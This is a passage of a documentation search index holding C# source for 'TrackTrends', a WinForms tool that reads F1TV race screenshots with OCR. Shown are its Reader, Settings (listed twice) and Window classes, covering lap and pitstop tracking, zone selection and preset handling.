0 && DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 2 ]. Position != - 1 && DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 1 ]. Position != - 1 ) { DriverData stats = new DriverData (); stats = DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 1 ]; DriverLaps [ i ]++; Storage . AddDriverStat ( stats , DriverLaps [ i ]); } //Checking if its a pitstop //Forget this the best way to know if a tyre has been changed is if the number of laps is zero if ( data . CurrentTyre . Coumpound != Tyre . Type . Undefined && data . CurrentTyre . NumberOfLaps == 0 && DriverDataLogs [ i ][ DriverDataLogs [ i ]. Count - 2 ]. CurrentTyre . NumberOfLaps != 0 ) { Storage . AddPitstop ( data . Name , DriverLaps [ i ] - 1 , data . CurrentTyre . Coumpound . ToString ()); //Driver laps -1 because it would take AT LEAST one lap for this program to detect a pitstop } } DriverDataLogs [ i ]. Add ( data ); }); break ; //Next there could be a Title Zone and TrackInfoZone } } //mainResults = mainResults.OrderBy(driver => driver.Position >= 0).ThenBy(driver => driver.Position).ToList(); mainResults = mainResults . OrderBy ( driver => driver . Position ). ToList (); return mainResults ; } /// /// Changes the image in all of the zones wich then will do the same for theyre own subzones and windows /// /// The new Image from the F1TV data channel public void ChangeImage ( Bitmap Image ) { foreach ( Zone z in MainZones ) { z . Image = Image ; } } /// /// Method that can be used to convert an amount of miliseconds into a more readable human form /// /// The given amount of miliseconds ton convert /// A human readable string that represents the ms public static string ConvertMsToTime ( int amountOfMs ) { //Convert.ToInt32 would round upand I dont want that int minuts = ( int )(( float ) amountOfMs / ( 1000f * 60f )); int seconds = ( int )(( amountOfMs - ( minuts * 60f * 1000f )) / 1000 ); int ms = amountOfMs - (( minuts * 60 * 1000 ) + ( seconds * 1000 )); return minuts + \":\" + seconds . ToString ( \"00\" ) + \":\" + ms . ToString ( \"000\" ); } /// /// Old method that can draw on an image where the windows and zones are created. mostly used for debugging /// /// the #id of the image we are working with /// the drawed bitmap public Bitmap Draw ( Bitmap image , List < Zone > mainZones ) { Graphics g = Graphics . FromImage ( image ); foreach ( Zone z in mainZones ) { int count = 0 ; foreach ( Zone zz in z . Zones ) { g . DrawRectangle ( Pens . Red , z . Bounds ); foreach ( Window w in zz . Windows ) { g . DrawRectangle ( Pens . Blue , new Rectangle ( z . Bounds . X + zz . Bounds . X , z . Bounds . Y + zz . Bounds . Y , zz . Bounds . Width , zz . Bounds . Height )); } count ++; } } return image ; } } }","title":"Reader.cs"},{"location":"Code/Settings.html","text":"Settings.cs using System ; using System.Collections.Generic ; using System.ComponentModel ; using System.Data ; using System.Drawing ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using System.Windows.Forms ; using System.IO ; using TrackTrends ; namespace TrackTrends { public partial class Settings : Form { private string _grandPrixUrl = \"\" ; private string _selectedConfigFile ; private List < string > _driverList = new List < string >(); private F1TVEmulator Emulator = null ; private ConfigurationTool Config = null ; private bool CreatingZone = false ; private Point ZoneP1 ; private Point ZoneP2 ; private bool CreatingWindow = false ; private Point WindowP1 ; private Point WindowP2 ; List < Rectangle > WindowsToAdd = new List < Rectangle >(); public string GrandPrixUrl { get => _grandPrixUrl ; private set => _grandPrixUrl = value ; } public List < string > DriverList { get => _driverList ; private set => _driverList = value ; } public string SelectedConfigFile { get => _selectedConfigFile ; private set => _selectedConfigFile = value ; } //For the responsive content Size oldSize = new Size (); Size oldGpbxPreviewSize = new Size (); Size oldGpbxWindowPreviewSize = new Size (); Size oldPbxPreviewSize = new Size (); Size oldPbxWindowPreviewSize = new Size (); public Settings () { InitializeComponent (); Load (); } private void Load () { RefreshUI (); oldSize = this . Size ; oldGpbxPreviewSize = gpbxPreview . Size ; oldGpbxWindowPreviewSize = gpbxWindowPreview . Size ; oldPbxPreviewSize = pbxPreview . Size ; oldPbxWindowPreviewSize = pbxWindowPreview . Size ; tip1 . SetToolTip ( btnCreatZone , \"After clicking you can select two points in the image to set the bounds of the important data\" ); tip1 . SetToolTip ( btnCreateWindow , \"After clicking this you will have to select all the windows that are important on the lower image. Refer to the documentation for more infos\" ); tip1 . SetToolTip ( btnRefresh , \"Starts the emulator or refreshes the images if its already running\" ); tip1 . SetToolTip ( btnResetDriver , \"Resets the driver if something went wrong or if you want to test an other URL\" ); tip1 . SetToolTip ( lsbDrivers , \"The drivers that are on the image. Non-Case sensitive\" ); tip1 . SetToolTip ( tbxPresetName , \"The name of the preset you want to save\" ); tip1 . SetToolTip ( pbxPreview , \"What the emulator returns\" ); tip1 . SetToolTip ( pbxWindowPreview , \"One of the driver zones that the program managed to slice from the main zone\" ); } private void RefreshUI () { lsbDrivers . DataSource = null ; lsbDrivers . DataSource = DriverList ; if ( Directory . Exists ( ConfigurationTool . CONFIGS_FOLDER_NAME )) { lsbPresets . DataSource = null ; lsbPresets . DataSource = Directory . GetFiles ( ConfigurationTool . CONFIGS_FOLDER_NAME ); } if ( CreatingZone ) { if ( ZoneP1 == new Point (- 1 , - 1 )) { lblZonePointsRemaning . Text = \"2 points Remaining\" ; } else { lblZonePointsRemaning . Text = \"1 point Remaining\" ; } } else { lblZonePointsRemaning . Text = \"\" ; } if ( CreatingWindow ) { if ( WindowP1 == new Point (- 1 , - 1 )) { lblWindowPointsRemaining . Text = \"2 points Remaining\" ; } else { lblWindowPointsRemaining . Text = \"1 point Remaining\" ; } lblWindowPointsRemaining . Text = ConfigurationTool . NUMBER_OF_ZONES - WindowsToAdd . Count () + \" Windows remaining\" ; } else { lblWindowPointsRemaining . Text = \"\" ; lblWindowsRemaining . Text = \"\" ; } if ( Config != null ) { pbxPreview . Image = Config . MainZone . Draw (); if ( Config . MainZone . Zones . Count > 0 ) pbxWindowPreview . Image = Config . MainZone . Zones [ 0 ]. Draw (); } } private void CreateNewZone ( Point p1 , Point p2 ) { Rectangle dimensions = CreateAbsoluteRectangle ( p1 , p2 ); Config = new ConfigurationTool (( Bitmap ) pbxPreview . Image , dimensions ); RefreshUI (); } private void CreateWindows ( List < Rectangle > dimensions ) { if ( Config != null ) { Config . AddWindows ( dimensions ); } } private void tbxGpUrl_TextChanged ( object sender , EventArgs e ) { GrandPrixUrl = tbxGpUrl . Text ; } private void btnAddDriver_Click ( object sender , EventArgs e ) { string newDriver = tbxDriverName . Text ; DriverList . Add ( newDriver ); tbxDriverName . Text = \"\" ; RefreshUI (); } private void btnRemoveDriver_Click ( object sender , EventArgs e ) { if ( lsbDrivers . SelectedIndex >= 0 ) { DriverList . RemoveAt ( lsbDrivers . SelectedIndex ); } RefreshUI (); } private void SwitchZoneCreation () { if ( CreatingZone ) { CreatingZone = false ; lblZonePointsRemaning . Text = \"\" ; } else { CreatingZone = true ; if ( Config != null ) Config . ResetMainZone (); if ( CreatingWindow ) SwitchWindowCreation (); if ( Emulator != null && Emulator . Ready ) { Config = null ; pbxPreview . Image = Emulator . Screenshot (); } ZoneP1 = new Point (- 1 , - 1 ); ZoneP2 = new Point (- 1 , - 1 ); lblZonePointsRemaning . Text = \"2 Points left\" ; } RefreshUI (); } private void SwitchWindowCreation () { if ( CreatingWindow ) { CreatingWindow = false ; } else { CreatingWindow = true ; if ( Config != null ) Config . ResetWindows (); if ( CreatingZone ) SwitchZoneCreation (); WindowP1 = new Point (- 1 , - 1 ); WindowP2 = new Point (- 1 , - 1 ); WindowsToAdd = new List < Rectangle >(); } RefreshUI (); } private void btnCreatZone_Click ( object sender , EventArgs e ) { SwitchZoneCreation (); } private void btnCreateWindow_Click ( object sender , EventArgs e ) { SwitchWindowCreation (); } private void pbxMain_MouseClick ( object sender , MouseEventArgs e ) { if ( CreatingZone && pbxPreview . Image != null ) { //Point coordinates = pbxMain.PointToClient(new Point(MousePosition.X, MousePosition.Y)); Point coordinates = e . Location ; float xOffset = ( float ) pbxPreview . Image . Width / ( float ) pbxPreview . Width ; float yOffset = ( float ) pbxPreview . Image . Height / ( float ) pbxPreview . Height ; Point newPoint = new Point ( Convert . ToInt32 (( float ) coordinates . X * xOffset ), Convert . ToInt32 (( float ) coordinates . Y * yOffset )); //MessageBox.Show(\"Coordinates\" + Environment.NewLine + \"Old : \" + coordinates.ToString() + Environment.NewLine + \"New : \" + newPoint.ToString()); if ( ZoneP1 == new Point (- 1 , - 1 )) { ZoneP1 = newPoint ; } else { ZoneP2 = newPoint ; CreateNewZone ( ZoneP1 , ZoneP2 ); SwitchZoneCreation (); } RefreshUI (); } } private void pbxMain_Click ( object sender , EventArgs e ) { //Not the right one to use visibly } private void pbxDriverZone_MouseClick ( object sender , MouseEventArgs e ) { if ( CreatingWindow && pbxWindowPreview . Image != null ) { Point coordinates = e . Location ; float xOffset = ( float ) pbxWindowPreview . Image . Width / ( float ) pbxWindowPreview . Width ; float yOffset = ( float ) pbxWindowPreview . Image . Height / ( float ) pbxWindowPreview . Height ; Point newPoint = new Point ( Convert . ToInt32 (( float ) coordinates . X * xOffset ), Convert . ToInt32 (( float ) coordinates . Y * yOffset )); if ( WindowP1 == new Point (- 1 , - 1 )) { WindowP1 = newPoint ; } else { WindowP2 = newPoint ; WindowsToAdd . Add ( CreateAbsoluteRectangle ( WindowP1 , WindowP2 )); if ( WindowsToAdd . Count < ConfigurationTool . NUMBER_OF_ZONES ) { WindowP1 = new Point (- 1 , - 1 ); WindowP2 = new Point (- 1 , - 1 ); } else { WindowP1 = new Point ( WindowP1 . X , 0 ); WindowP2 = new Point ( WindowP2 . X , pbxWindowPreview . Image . Height ); CreateWindows ( WindowsToAdd ); SwitchWindowCreation (); } } RefreshUI (); } } private void pbxDriverZone_Click ( object sender , EventArgs e ) { //Not the right one to use visibly } private Rectangle CreateAbsoluteRectangle ( Point p1 , Point p2 ) { Point newP1 = new Point (); Point newP2 = new Point (); if ( p1 . X < p2 . X ) { newP1 . X = p1 . X ; newP2 . X = p2 . X ; } else { newP1 . X = p2 . X ; newP2 . X = p1 . X ; } if ( p1 . Y < p2 . Y ) { newP1 . Y = p1 . Y ; newP2 . Y = p2 . Y ; } else { newP1 . Y = p2 . Y ; newP2 . Y = p1 . Y ; } return new Rectangle ( newP1 . X , newP1 . Y , newP2 . X - newP1 . X , newP2 . Y - newP1 . Y ); } private async void btnRefresh_Click ( object sender , EventArgs e ) { btnRefresh . Enabled = false ; btnCreatZone . Enabled = false ; btnCreateWindow . Enabled = false ; btnResetDriver . Enabled = false ; if ( Emulator == null || Emulator . GrandPrixUrl != tbxGpUrl . Text ) { Emulator = new F1TVEmulator ( tbxGpUrl . Text ); } if (! Emulator . Ready ) { Task < int > start = Task . Run (() => Emulator . Start ()); int errorCode = await start ; if ( errorCode != 0 ) { string message ; switch ( errorCode ) { case 100 : message = \"Error \" + errorCode + \" Could not recover cookies. It could be because of an improper installation of python or bad cookies in the chrome database. Please try to log on to the F1TV using chrome again\" ; break ; case 101 : message = \"Error \" + errorCode + \" Could not start the driver. It could be because an other instance is runnin make sure you closed them all before trying again\" ; break ; case 102 : message = \"Error \" + errorCode + \" Could not navigate on the F1TV site. Make sure the correct URL has been given and that you logged from chrome. It can take a few minutes to update\" ; break ; case 103 : message = \"Error \" + errorCode + \" The url is not a valid url\" ; break ; case 104 : message = \"Error \" + errorCode + \" The url is not a valid url\" ; break ; case 105 : message = \"Error \" + errorCode + \" There has been an error trying to emulate button presses. Please try again\" ; break ; case 106 : message = \"Error \" + errorCode + \" There has been an error trying to emulate button presses. Please try again\" ; break ; default : message = \"Could not start the emulator Error \" + errorCode ; break ; } MessageBox . Show ( message ); } else { pbxPreview . Image = Emulator . Screenshot (); } } else { pbxPreview . Image = Emulator . Screenshot (); } btnRefresh . Enabled = true ; btnCreatZone . Enabled = true ; btnCreateWindow . Enabled = true ; btnResetDriver . Enabled = true ; btnRefresh . Text = \"Get a newer image\" ; } private void Settings_FormClosing ( object sender , FormClosingEventArgs e ) { if ( Emulator != null ) { Emulator . Stop (); } Emulator = null ; GC . Collect (); } private void btnResetDriver_Click ( object sender , EventArgs e ) { if ( Emulator != null ) { Emulator . ResetDriver (); } } private void btnSavePreset_Click ( object sender , EventArgs e ) { string presetName = tbxPresetName . Text ; if ( Config != null ) { Config . SaveToJson ( DriverList , presetName ); } RefreshUI (); } private void lsbPresets_SelectedIndexChanged ( object sender , EventArgs e ) { SelectedConfigFile = ( string ) lsbPresets . Items [ lsbPresets . SelectedIndex ]; } private void btnLoadPreset_Click ( object sender , EventArgs e ) { //MessageBox.Show(lsbPresets.SelectedIndex.ToString()); if ( lsbPresets . SelectedIndex >= 0 && pbxPreview . Image != null ) { try { string fileName = lsbPresets . Items [ lsbPresets . SelectedIndex ]. ToString (); Reader reader = new Reader ( fileName , ( Bitmap ) pbxPreview . Image , false ); //MainZones #0 is the big main zone containing driver zones Config = new ConfigurationTool (( Bitmap ) pbxPreview . Image , reader . MainZones [ 0 ]. Bounds ); Config . MainZone = reader . MainZones [ 0 ]; DriverList = reader . Drivers ; SelectedConfigFile = fileName ; } catch ( Exception ex ) { MessageBox . Show ( \"Could not load the settings error :\" + ex ); } RefreshUI (); } } private void Settings_Resize ( object sender , EventArgs e ) { int xDiff = this . Width - oldSize . Width ; int yDiff = this . Height - oldSize . Height ; gpbxPreview . Size = new Size ( oldGpbxPreviewSize . Width + xDiff , oldGpbxPreviewSize . Height + yDiff ); gpbxWindowPreview . Size = new Size ( oldGpbxWindowPreviewSize . Width + xDiff , oldGpbxWindowPreviewSize . Height ); pbxPreview . Size = new Size ( oldPbxPreviewSize . Width + xDiff , oldPbxPreviewSize . Height + yDiff ); pbxWindowPreview . Size = new Size ( oldPbxWindowPreviewSize . Width + xDiff , oldPbxWindowPreviewSize . Height ); } private void btnDeletePreset_Click ( object sender , EventArgs e ) { int selectedIndex = lsbPresets . SelectedIndex ; if ( selectedIndex >= 0 ) { string fileName = lsbPresets . Items [ selectedIndex ]. ToString (); if ( File . Exists ( fileName )) { File . Delete ( fileName ); RefreshUI (); } else { MessageBox . Show ( \"Could not delete the preset because it does not exists\" ); } } } private void removeBorders ( object sender , PaintEventArgs e ) { GroupBox gpbx = ( GroupBox ) sender ; using ( Pen pen = new Pen ( gpbx . BackColor , 50 )) { e . Graphics . DrawRectangle ( pen , 0 , 0 , gpbx . Width - 1 , gpbx . Height - 1 ); e . Graphics . DrawRectangle ( pen , 0 , 0 , gpbx . Width - 1 , gpbx . Height - 1 ); } using ( var brush = new SolidBrush ( gpbx . ForeColor )) { var textPosition = new Point ( 5 , 0 ); // Adjust the X and Y values as needed e . Graphics . DrawString ( gpbx . Text , gpbx . Font , brush , textPosition ); } } } }","title":"Settings.cs"},{"location":"Code/Settings.html#settingscs","text":"using System ; using System.Collections.Generic ; using System.ComponentModel ; using System.Data ; using System.Drawing ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using System.Windows.Forms ; using System.IO ; using TrackTrends ; namespace TrackTrends { public partial class Settings : Form { private string _grandPrixUrl = \"\" ; private string _selectedConfigFile ; private List < string > _driverList = new List < string >(); private F1TVEmulator Emulator = null ; private ConfigurationTool Config = null ; private bool CreatingZone = false ; private Point ZoneP1 ; private Point ZoneP2 ; private bool CreatingWindow = false ; private Point WindowP1 ; private Point WindowP2 ; List < Rectangle > WindowsToAdd = new List < Rectangle >(); public string GrandPrixUrl { get => _grandPrixUrl ; private set => _grandPrixUrl = value ; } public List < string > DriverList { get => _driverList ; private set => _driverList = value ; } public string SelectedConfigFile { get => _selectedConfigFile ; private set => _selectedConfigFile = value ; } //For the responsive content Size oldSize = new Size (); Size oldGpbxPreviewSize = new Size (); Size oldGpbxWindowPreviewSize = new Size (); Size oldPbxPreviewSize = new Size (); Size oldPbxWindowPreviewSize = new Size (); public Settings () { InitializeComponent (); Load (); } private void Load () { RefreshUI (); oldSize = this . Size ; oldGpbxPreviewSize = gpbxPreview . Size ; oldGpbxWindowPreviewSize = gpbxWindowPreview . Size ; oldPbxPreviewSize = pbxPreview . Size ; oldPbxWindowPreviewSize = pbxWindowPreview . Size ; tip1 . SetToolTip ( btnCreatZone , \"After clicking you can select two points in the image to set the bounds of the important data\" ); tip1 . SetToolTip ( btnCreateWindow , \"After clicking this you will have to select all the windows that are important on the lower image. Refer to the documentation for more infos\" ); tip1 . SetToolTip ( btnRefresh , \"Starts the emulator or refreshes the images if its already running\" ); tip1 . SetToolTip ( btnResetDriver , \"Resets the driver if something went wrong or if you want to test an other URL\" ); tip1 . SetToolTip ( lsbDrivers , \"The drivers that are on the image. Non-Case sensitive\" ); tip1 . SetToolTip ( tbxPresetName , \"The name of the preset you want to save\" ); tip1 . SetToolTip ( pbxPreview , \"What the emulator returns\" ); tip1 . SetToolTip ( pbxWindowPreview , \"One of the driver zones that the program managed to slice from the main zone\" ); } private void RefreshUI () { lsbDrivers . DataSource = null ; lsbDrivers . DataSource = DriverList ; if ( Directory . Exists ( ConfigurationTool . CONFIGS_FOLDER_NAME )) { lsbPresets . DataSource = null ; lsbPresets . DataSource = Directory . GetFiles ( ConfigurationTool . CONFIGS_FOLDER_NAME ); } if ( CreatingZone ) { if ( ZoneP1 == new Point (- 1 , - 1 )) { lblZonePointsRemaning . Text = \"2 points Remaining\" ; } else { lblZonePointsRemaning . Text = \"1 point Remaining\" ; } } else { lblZonePointsRemaning . Text = \"\" ; } if ( CreatingWindow ) { if ( WindowP1 == new Point (- 1 , - 1 )) { lblWindowPointsRemaining . Text = \"2 points Remaining\" ; } else { lblWindowPointsRemaining . Text = \"1 point Remaining\" ; } lblWindowPointsRemaining . Text = ConfigurationTool . NUMBER_OF_ZONES - WindowsToAdd . Count () + \" Windows remaining\" ; } else { lblWindowPointsRemaining . Text = \"\" ; lblWindowsRemaining . Text = \"\" ; } if ( Config != null ) { pbxPreview . Image = Config . MainZone . Draw (); if ( Config . MainZone . Zones . Count > 0 ) pbxWindowPreview . Image = Config . MainZone . Zones [ 0 ]. Draw (); } } private void CreateNewZone ( Point p1 , Point p2 ) { Rectangle dimensions = CreateAbsoluteRectangle ( p1 , p2 ); Config = new ConfigurationTool (( Bitmap ) pbxPreview . Image , dimensions ); RefreshUI (); } private void CreateWindows ( List < Rectangle > dimensions ) { if ( Config != null ) { Config . AddWindows ( dimensions ); } } private void tbxGpUrl_TextChanged ( object sender , EventArgs e ) { GrandPrixUrl = tbxGpUrl . Text ; } private void btnAddDriver_Click ( object sender , EventArgs e ) { string newDriver = tbxDriverName . Text ; DriverList . Add ( newDriver ); tbxDriverName . Text = \"\" ; RefreshUI (); } private void btnRemoveDriver_Click ( object sender , EventArgs e ) { if ( lsbDrivers . SelectedIndex >= 0 ) { DriverList . RemoveAt ( lsbDrivers . SelectedIndex ); } RefreshUI (); } private void SwitchZoneCreation () { if ( CreatingZone ) { CreatingZone = false ; lblZonePointsRemaning . Text = \"\" ; } else { CreatingZone = true ; if ( Config != null ) Config . ResetMainZone (); if ( CreatingWindow ) SwitchWindowCreation (); if ( Emulator != null && Emulator . Ready ) { Config = null ; pbxPreview . Image = Emulator . Screenshot (); } ZoneP1 = new Point (- 1 , - 1 ); ZoneP2 = new Point (- 1 , - 1 ); lblZonePointsRemaning . Text = \"2 Points left\" ; } RefreshUI (); } private void SwitchWindowCreation () { if ( CreatingWindow ) { CreatingWindow = false ; } else { CreatingWindow = true ; if ( Config != null ) Config . ResetWindows (); if ( CreatingZone ) SwitchZoneCreation (); WindowP1 = new Point (- 1 , - 1 ); WindowP2 = new Point (- 1 , - 1 ); WindowsToAdd = new List < Rectangle >(); } RefreshUI (); } private void btnCreatZone_Click ( object sender , EventArgs e ) { SwitchZoneCreation (); } private void btnCreateWindow_Click ( object sender , EventArgs e ) { SwitchWindowCreation (); } private void pbxMain_MouseClick ( object sender , MouseEventArgs e ) { if ( CreatingZone && pbxPreview . Image != null ) { //Point coordinates = pbxMain.PointToClient(new Point(MousePosition.X, MousePosition.Y)); Point coordinates = e . Location ; float xOffset = ( float ) pbxPreview . Image . Width / ( float ) pbxPreview . Width ; float yOffset = ( float ) pbxPreview . Image . Height / ( float ) pbxPreview . Height ; Point newPoint = new Point ( Convert . ToInt32 (( float ) coordinates . X * xOffset ), Convert . ToInt32 (( float ) coordinates . Y * yOffset )); //MessageBox.Show(\"Coordinates\" + Environment.NewLine + \"Old : \" + coordinates.ToString() + Environment.NewLine + \"New : \" + newPoint.ToString()); if ( ZoneP1 == new Point (- 1 , - 1 )) { ZoneP1 = newPoint ; } else { ZoneP2 = newPoint ; CreateNewZone ( ZoneP1 , ZoneP2 ); SwitchZoneCreation (); } RefreshUI (); } } private void pbxMain_Click ( object sender , EventArgs e ) { //Not the right one to use visibly } private void pbxDriverZone_MouseClick ( object sender , MouseEventArgs e ) { if ( CreatingWindow && pbxWindowPreview . Image != null ) { Point coordinates = e . Location ; float xOffset = ( float ) pbxWindowPreview . Image . Width / ( float ) pbxWindowPreview . Width ; float yOffset = ( float ) pbxWindowPreview . Image . Height / ( float ) pbxWindowPreview . Height ; Point newPoint = new Point ( Convert . ToInt32 (( float ) coordinates . X * xOffset ), Convert . ToInt32 (( float ) coordinates . Y * yOffset )); if ( WindowP1 == new Point (- 1 , - 1 )) { WindowP1 = newPoint ; } else { WindowP2 = newPoint ; WindowsToAdd . Add ( CreateAbsoluteRectangle ( WindowP1 , WindowP2 )); if ( WindowsToAdd . Count < ConfigurationTool . NUMBER_OF_ZONES ) { WindowP1 = new Point (- 1 , - 1 ); WindowP2 = new Point (- 1 , - 1 ); } else { WindowP1 = new Point ( WindowP1 . X , 0 ); WindowP2 = new Point ( WindowP2 . X , pbxWindowPreview . Image . Height ); CreateWindows ( WindowsToAdd ); SwitchWindowCreation (); } } RefreshUI (); } } private void pbxDriverZone_Click ( object sender , EventArgs e ) { //Not the right one to use visibly } private Rectangle CreateAbsoluteRectangle ( Point p1 , Point p2 ) { Point newP1 = new Point (); Point newP2 = new Point (); if ( p1 . X < p2 . X ) { newP1 . X = p1 . X ; newP2 . X = p2 . X ; } else { newP1 . X = p2 . X ; newP2 . X = p1 . X ; } if ( p1 . Y < p2 . Y ) { newP1 . Y = p1 . Y ; newP2 . Y = p2 . Y ; } else { newP1 . Y = p2 . Y ; newP2 . Y = p1 . Y ; } return new Rectangle ( newP1 . X , newP1 . Y , newP2 . X - newP1 . X , newP2 . Y - newP1 . Y ); } private async void btnRefresh_Click ( object sender , EventArgs e ) { btnRefresh . Enabled = false ; btnCreatZone . Enabled = false ; btnCreateWindow . Enabled = false ; btnResetDriver . Enabled = false ; if ( Emulator == null || Emulator . GrandPrixUrl != tbxGpUrl . Text ) { Emulator = new F1TVEmulator ( tbxGpUrl . Text ); } if (! Emulator . Ready ) { Task < int > start = Task . Run (() => Emulator . Start ()); int errorCode = await start ; if ( errorCode != 0 ) { string message ; switch ( errorCode ) { case 100 : message = \"Error \" + errorCode + \" Could not recover cookies. It could be because of an improper installation of python or bad cookies in the chrome database. Please try to log on to the F1TV using chrome again\" ; break ; case 101 : message = \"Error \" + errorCode + \" Could not start the driver. It could be because an other instance is runnin make sure you closed them all before trying again\" ; break ; case 102 : message = \"Error \" + errorCode + \" Could not navigate on the F1TV site. Make sure the correct URL has been given and that you logged from chrome. It can take a few minutes to update\" ; break ; case 103 : message = \"Error \" + errorCode + \" The url is not a valid url\" ; break ; case 104 : message = \"Error \" + errorCode + \" The url is not a valid url\" ; break ; case 105 : message = \"Error \" + errorCode + \" There has been an error trying to emulate button presses. Please try again\" ; break ; case 106 : message = \"Error \" + errorCode + \" There has been an error trying to emulate button presses. Please try again\" ; break ; default : message = \"Could not start the emulator Error \" + errorCode ; break ; } MessageBox . Show ( message ); } else { pbxPreview . Image = Emulator . Screenshot (); } } else { pbxPreview . Image = Emulator . Screenshot (); } btnRefresh . Enabled = true ; btnCreatZone . Enabled = true ; btnCreateWindow . Enabled = true ; btnResetDriver . Enabled = true ; btnRefresh . Text = \"Get a newer image\" ; } private void Settings_FormClosing ( object sender , FormClosingEventArgs e ) { if ( Emulator != null ) { Emulator . Stop (); } Emulator = null ; GC . Collect (); } private void btnResetDriver_Click ( object sender , EventArgs e ) { if ( Emulator != null ) { Emulator . ResetDriver (); } } private void btnSavePreset_Click ( object sender , EventArgs e ) { string presetName = tbxPresetName . Text ; if ( Config != null ) { Config . SaveToJson ( DriverList , presetName ); } RefreshUI (); } private void lsbPresets_SelectedIndexChanged ( object sender , EventArgs e ) { SelectedConfigFile = ( string ) lsbPresets . Items [ lsbPresets . SelectedIndex ]; } private void btnLoadPreset_Click ( object sender , EventArgs e ) { //MessageBox.Show(lsbPresets.SelectedIndex.ToString()); if ( lsbPresets . SelectedIndex >= 0 && pbxPreview . Image != null ) { try { string fileName = lsbPresets . Items [ lsbPresets . SelectedIndex ]. ToString (); Reader reader = new Reader ( fileName , ( Bitmap ) pbxPreview . Image , false ); //MainZones #0 is the big main zone containing driver zones Config = new ConfigurationTool (( Bitmap ) pbxPreview . Image , reader . MainZones [ 0 ]. Bounds ); Config . MainZone = reader . MainZones [ 0 ]; DriverList = reader . Drivers ; SelectedConfigFile = fileName ; } catch ( Exception ex ) { MessageBox . Show ( \"Could not load the settings error :\" + ex ); } RefreshUI (); } } private void Settings_Resize ( object sender , EventArgs e ) { int xDiff = this . Width - oldSize . Width ; int yDiff = this . Height - oldSize . Height ; gpbxPreview . Size = new Size ( oldGpbxPreviewSize . Width + xDiff , oldGpbxPreviewSize . Height + yDiff ); gpbxWindowPreview . Size = new Size ( oldGpbxWindowPreviewSize . Width + xDiff , oldGpbxWindowPreviewSize . Height ); pbxPreview . Size = new Size ( oldPbxPreviewSize . Width + xDiff , oldPbxPreviewSize . Height + yDiff ); pbxWindowPreview . Size = new Size ( oldPbxWindowPreviewSize . Width + xDiff , oldPbxWindowPreviewSize . Height ); } private void btnDeletePreset_Click ( object sender , EventArgs e ) { int selectedIndex = lsbPresets . SelectedIndex ; if ( selectedIndex >= 0 ) { string fileName = lsbPresets . Items [ selectedIndex ]. ToString (); if ( File . Exists ( fileName )) { File . Delete ( fileName ); RefreshUI (); } else { MessageBox . Show ( \"Could not delete the preset because it does not exists\" ); } } } private void removeBorders ( object sender , PaintEventArgs e ) { GroupBox gpbx = ( GroupBox ) sender ; using ( Pen pen = new Pen ( gpbx . BackColor , 50 )) { e . Graphics . DrawRectangle ( pen , 0 , 0 , gpbx . Width - 1 , gpbx . Height - 1 ); e . Graphics . DrawRectangle ( pen , 0 , 0 , gpbx . Width - 1 , gpbx . Height - 1 ); } using ( var brush = new SolidBrush ( gpbx . ForeColor )) { var textPosition = new Point ( 5 , 0 ); // Adjust the X and Y values as needed e . Graphics . DrawString ( gpbx . Text , gpbx . Font , brush , textPosition ); } } } }","title":"Settings.cs"},{"location":"Code/Window.html","text":"Window.cs /// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : Window.cs /// Brief : Default Window object that is mainly expected to be inherited. /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using System.Drawing ; using System.IO ; using Tesseract ; using System.Text.RegularExpressions ; using System.Drawing.Drawing2D ; namespace TrackTrends { public class Window { public const string STRING_DEBUG_FOLDER = \"./GetString\" ; public const string LAPTIME_DEBUG_FOLDER = \"./LapTime\" ; public const string GAPTOLEADER_DEBUG_FOLDER = \"./Gap\" ; public const string SECTOR1_DEBUG_FOLDER = \"./Sector1\" ; public const string SECTOR2_DEBUG_FOLDER = \"./Sector2\" ; public const string SECTOR3_DEBUG_FOLDER = \"./Sector3\" ; public const string DRS_DEBUG_FOLDER = \"./DRS\" ; public const string TYRE_DEBUG_FOLDER = \"./Tyre\" ; private Rectangle _bounds ; private Bitmap _image ; private string _name ; protected TesseractEngine Engine ; public Rectangle Bounds { get => _bounds ; private set => _bounds = value ; } public Bitmap Image { get => _image ; set => _image = value ; } public string Name { get => _name ; protected set => _name = value ; } //This will have to be changed if you want to make it run on your machine public static DirectoryInfo TESS_DATA_FOLDER = new DirectoryInfo ( @\"C:\\Users\\Moi\\Pictures\\SeleniumScreens\\TessData\" ); //Debug public static Random rnd = new Random (); public Bitmap WindowImage { get { //This little trickery lets you have the image that the window sees Bitmap sample = new Bitmap ( Bounds . Width , Bounds . Height ); Graphics g = Graphics . FromImage ( sample ); g . DrawImage ( Image , new Rectangle ( 0 , 0 , sample . Width , sample . Height ), Bounds , GraphicsUnit . Pixel ); return sample ; } } /// /// Creates a new Window /// /// The image of the parent zone /// The position and size of the window /// Does the window need to generate a tesseract engine (takes time and ressources) public Window ( Bitmap image , Rectangle bounds , bool generateEngine = true ) { Image = image ; Bounds = bounds ; if ( generateEngine ) { Engine = new TesseractEngine ( TESS_DATA_FOLDER . FullName , \"eng\" , EngineMode . Default ); Engine . DefaultPageSegMode = PageSegMode . SingleLine ; } //DEBUG /* if (!Directory.Exists(STRING_DEBUG_FOLDER)) Directory.CreateDirectory(STRING_DEBUG_FOLDER); if (!Directory.Exists(LAPTIME_DEBUG_FOLDER)) Directory.CreateDirectory(LAPTIME_DEBUG_FOLDER); if (!Directory.Exists(GAPTOLEADER_DEBUG_FOLDER)) Directory.CreateDirectory(GAPTOLEADER_DEBUG_FOLDER); if (!Directory.Exists(SECTOR1_DEBUG_FOLDER)) Directory.CreateDirectory(SECTOR1_DEBUG_FOLDER); if (!Directory.Exists(SECTOR2_DEBUG_FOLDER)) Directory.CreateDirectory(SECTOR2_DEBUG_FOLDER); if (!Directory.Exists(SECTOR3_DEBUG_FOLDER)) Directory.CreateDirectory(SECTOR3_DEBUG_FOLDER); if (!Directory.Exists(DRS_DEBUG_FOLDER)) Directory.CreateDirectory(DRS_DEBUG_FOLDER); if (!Directory.Exists(TYRE_DEBUG_FOLDER)) Directory.CreateDirectory(TYRE_DEBUG_FOLDER); */ } /// /// Method that will have to be used by the childrens to let the model make them decode the images they have /// /// Returns an object because we dont know what kind of return it will be public virtual Object DecodePng () { return 